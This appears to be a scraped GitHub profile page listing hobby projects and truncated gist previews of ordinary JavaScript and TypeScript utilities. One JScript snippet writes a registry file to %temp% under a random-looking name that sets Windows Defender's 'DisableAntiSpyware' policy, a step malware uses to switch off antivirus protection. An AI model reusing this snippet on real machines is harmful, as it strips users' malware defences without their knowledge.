Projects that entertain me in my spare time.
- i18n-editor
- superconvert
- Page: Decode base64.
- Page: Encode base64.
- Page: Generate random number (allow max/min values).
- Page: Generate random UUID.
// Run: node packageLock2Markdown.js "C:\..PATH..\package-lock.json" > out.md | |
const fs = require('fs'); | |
const args = process.argv.slice(2); | |
let markdownOutput = ''; | |
const contents = JSON.parse(fs.readFileSync(args[0], 'utf8')); |
// Run: node packageLock2Markdown.js "C:\..PATH..\package-lock.json" > out.md | |
const fs = require('fs'); | |
const args = process.argv.slice(2); | |
let markdownOutput = ''; | |
const contents = JSON.parse(fs.readFileSync(args[0], 'utf8')); |
emcc main.c -O3 -o index.js -s "EXTRA_EXPORTED_RUNTIME_METHODS=['ccall', 'cwrap']" |
/* description: Parses end executes mathematical expressions. */ | |
/* lexical grammar */ | |
%lex | |
%% | |
\s+ /* skip whitespace */ | |
[0-9]+("."[0-9]+)?\b return 'NUMBER' | |
"true" return 'TRUE' | |
"false" return 'FALSE' |
import { Observable, timer } from "rxjs"; | |
import { map, takeWhile, take } from "rxjs/operators"; | |
export function countdown(minutes: number, delay: number = 0) { | |
return new Observable<{ display: string; minutes: number; seconds: number, finished: boolean }>( | |
subscriber => { | |
timer(delay, 1000) | |
.pipe(take(minutes * 60)) | |
.pipe(map(v => minutes * 60 - 1 - v)) | |
.pipe(takeWhile(x => x >= 0 && !subscriber.closed)) |
Projects that entertain me in my spare time.
var regContent = "Windows Registry Editor Version 5.00\n\n"; | |
regContent = regContent + "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender]\n"; | |
regContent = regContent + "\"DisableAntiSpyware\"=dword:00000001\n\n"; | |
var sw = WSH.CreateObject("scripting.filesystemobject"); | |
var sh = WScript.createObject("wscript.shell"); | |
var parth = sh.ExpandEnvironmentStrings("%temp%") + "\\ebgeaegdbdecaedfebace.reg"; | |
if (sw.fileExists(parth)) { | |
sw.deleteFile(parth); |
export function orderArrayByNumberAttribute<T>( | |
array: T[], | |
attribute: keyof T, | |
order: 'asc' | 'desc', | |
): T[] { | |
return array.sort((a, b) => { | |
const aValue = a[attribute]; | |
const bValue = b[attribute]; | |
if (order === 'asc') { |
import { useCallback, useEffect, useState } from 'react'; | |
import { Experiment, ExperimentClient } from '@amplitude/experiment-js-client'; | |
import { | |
AmplitudeExperimentContext, | |
type AmplitudeExperimentContextValue, | |
} from './AmplitudeExperimentContext'; | |
export interface AmplitudeExperimentProviderProps { | |
envExperimentKey: string; |
import { createContext } from 'react'; | |
import { ExperimentClient } from '@amplitude/experiment-js-client'; | |
export interface AmplitudeExperimentContextValue { | |
experiment?: ExperimentClient; | |
isVariantActive: (variantId: string, variantValue?: string) => boolean; | |
/** | |
* @description Returns true if the user is in the experiment with variant `control`. | |
*/ | |
isControlActive: (variantId: string, defaultControl?: string) => boolean; |